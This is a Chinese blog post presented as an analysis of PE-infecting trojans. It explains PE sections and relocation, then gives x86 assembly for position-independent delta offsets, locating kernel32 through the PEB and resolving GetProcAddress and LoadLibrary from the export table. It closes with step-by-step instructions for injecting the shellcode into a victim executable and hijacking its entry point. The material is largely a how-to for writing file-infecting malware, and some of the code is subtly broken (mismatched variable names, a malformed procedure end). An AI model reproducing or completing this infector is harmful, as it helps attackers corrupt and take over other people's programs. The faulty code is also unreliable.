Window PE感染型木马分析

PE感染型木马分析

在正式看代码之前先对exe结构(PE)做一个简单了解

PE中的Section

当我们写完代码,编译为二进制文件之后。在代码中初始化变量的值会被全部提取出来,并整合在一起,在二进制文件中,找到一块连续的空间放进去并称之为节(section)。在生成之前的图片,文件等其他资源,同样被整合在一起,放在一个节中。代码里面的const不可修改的变量的初始值,不会和可修改的放在一起,会被提取出来单独放在一个节中。代码也是一样单独放在一个节中。除了这些还有其他的节,在这就不全部讲解了。

我们还需要了解一个机制

随机基址

什么是随机基址,当我们双击运行一个exe文件,它会被PE装载器,放到内存里面。那么在内存中每一bit都是有数字来告诉你它在哪,称之为地址,那么加载的这个exe是从哪开始加载的,那么这个位置就被称之为基址,随机地址顾名思义,当你多次执行exe的时候,每一次加载的位置都不一样。

那 么 就会引发一个问题

全局变量的问题

全局变量在内存中也是通过编号进行访问,也就是我们说的地址,但是它的寻址方式不是相对的,也就是说你在编译二进制文件的时候,全局变量的地址就已经写进文件中了,当我们编译的时候选用了随机基址,假设我们默认的加载位置是0x401000,有一个全局变量的地址为0x402004的位置,那么因为我们开启了随机基址,我们加载exe的位置很有可能不是0x401000,这个时候0x402004的位置也就不是我们的全局变量了,那找不到全局变量的位置。

解决这个问题

当你写好代码,点击编译为二进制文件的时候(开启随机基址),会添加一个新的节,重定位节,这里面包含了所有需要绝对寻址的方式的地址,那么当你双击运行的时候,PE装载器就会找到重定位节在里面读取出所有的这个节里面保存的地址,然后找到这个exe默认加载的基址A(写在二进制文件中),在拿到本次加载的位置B,计算这两个地址的差值C,最后把重定位节里面找到的所有地址和差值C进行相加或者相减,在放回去。搞定!

PE中的Header

我们之前说到了节,PE装载器会把这些节加载到内存,还有你的第一行代码从哪个地址开始执行,PE装在器通过读取PE 中的Header 获取节位置、属性、大小、权限等信息,并且限制每一个节的行为,比如const不可修改的原因就是因为所在节的属性选中了不可修改、数据节里不能执行代码也是这个原因。

那pe感染型病毒是怎么执行的呢,它修改了这个二进制文件,首先添加了一个节在PE header,然后拓展文件大小,把代码写进去,把节的属性写进去,在修改执行第一行的代码的位置,修改为自己拓展位置的代码地址,然后搞定。

这里面涉及文件对齐、内存对齐、等其他PE基础知识请看我的其他文章。

代码

首先代码中必须解决重定位的问题 so easy

1
2
3
4
call @F
@@:
pop ebx
sub ebx,offset @B

这里涉及到的栈知识,请看我的其他文章。

上面的几行代码执行过后就会获得,我们之前所说的PE装载器获取的默认加载基址 与本次加载基址的差值,我们获取到这个差值,代码中的重定位问题就解决了。

接下来获取kernel32.dll的地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
GetKernelBase proc  
local @dwRet:dword
pushad
assume fs:nothing
mov eax,fs:[30h]
mov eax,[eax+0ch]
mov eax,[eax+1ch]
mov eax,[eax]
mov eax,[eax]
mov eax,[eax + 8]
mov @dwRet,eax
popad
mov eax,@dwRet

ret
GetKernelBase endp

这里涉及到的TEB、PEB的知识请看我的其他文章。

通过进程环境(TEB),获取kernel32.dll的地址 相当于调用了LoadLibrary(“kernel32.dll”);

这个地址实际上就是kernel32.dll加载的基址。

那么这里面就包含了很多系统函数,通过遍历导出表,或者字节查找的方式找到GetProcAddress()的函数地址。

贴代码

这段代码是通过名字进行遍历

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
GetApi  proc _lpKernel,_lpNamex
local @dwApiSize
xor al,al
mov ecx,-1
mov edi,lpName
cld
repne scasb
mov ecx,edi
sub ecx,lpName
mov @dwApiSize,ecx
mov esi,_lpKernel
add esi,[esi + 3ch]
assume esi:ptr IMAGE_NT_HEADERS
mov esi,[esi].OptionalHeader.DataDirectory[0].VirtualAddress
add esi,_lpKernel
assume esi:ptr IMAGE_EXPORT_DIRECTORY
mov ecx,[esi].NumberOfNames
mov ebx,[esi].AddressOfNames
add ebx,_lpKernel
.while ecx
push ecx
push esi
mov edi,[ebx]
add edi,_lpKernel
mov esi,_lpName
mov ecx,@dwApiSize
repz cmpsb
.if !ecx
pop esi
pop ecx
jmp @F
.endif
add ebx,4
pop esi
pop ecx
dec ecx
.endw
@@:
mov ebx,[esi].NumberOfNames
sub ebx,ecx
shl ebx,1
mov edi,[esi].AddressOfNameOrdinals
add edi,ebx
add edi,lpKernel
mov ax,word ptr[edi]
movzx eax,ax
shl eax,2
mov edi,[esi].AddressOfFunctions
add edi,eax
add edi,lpKernel
mov edi,[edi]
add edi,_lpKernel
mov eax,edi
ret
GetApi end

当我们得到GetProcAddress地址之后,就可以通过这个地址之后,就可以使用这个函数来获取LoadLibrary函数的地址,我们需要两个参数,第一个参数是你要获取的这个函数所在dll的基址,也就是kernel32.dll的基址,我们之前已经获取过了,第二个参数就是要获取函数的名字。

上代码

1
2
3
4
5
6
7
8
9
10
11
mov ecx,offset szLoadLibrary;"LoadLibraryA/W"字符串地址
add ecx,ebx;重定位问题

push ecx
push edi
call ebp;getprocaddress(handle,LoadLibrary)

mov ecx,offset ddLoadLibrary;存储LoadLiabraryA/W地址位置
add ecx,ebx;重定位问题

mov [ecx],eax;保存地址

现在我们获取到GetProcAddress 和 LoadLibraryA/W的地址,现在就可以为所欲为了。

当你写完代码之后编译为二进制文件。

把代码的字节提取出来,在PE 代码节中。

提取出来之后写进你要感染的exe中。

修改目标exe的第一行代码执行的位置。

修改你添加代码的最后5个字节。

修改为跳转到目标exe原第一行代码执行的位置。

搞定!

1571159978825

Author: BarretGuy
Link: https://basicbit.cn/2017/07/14/2017-07-14-PE感染型木马汇编代码分析/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.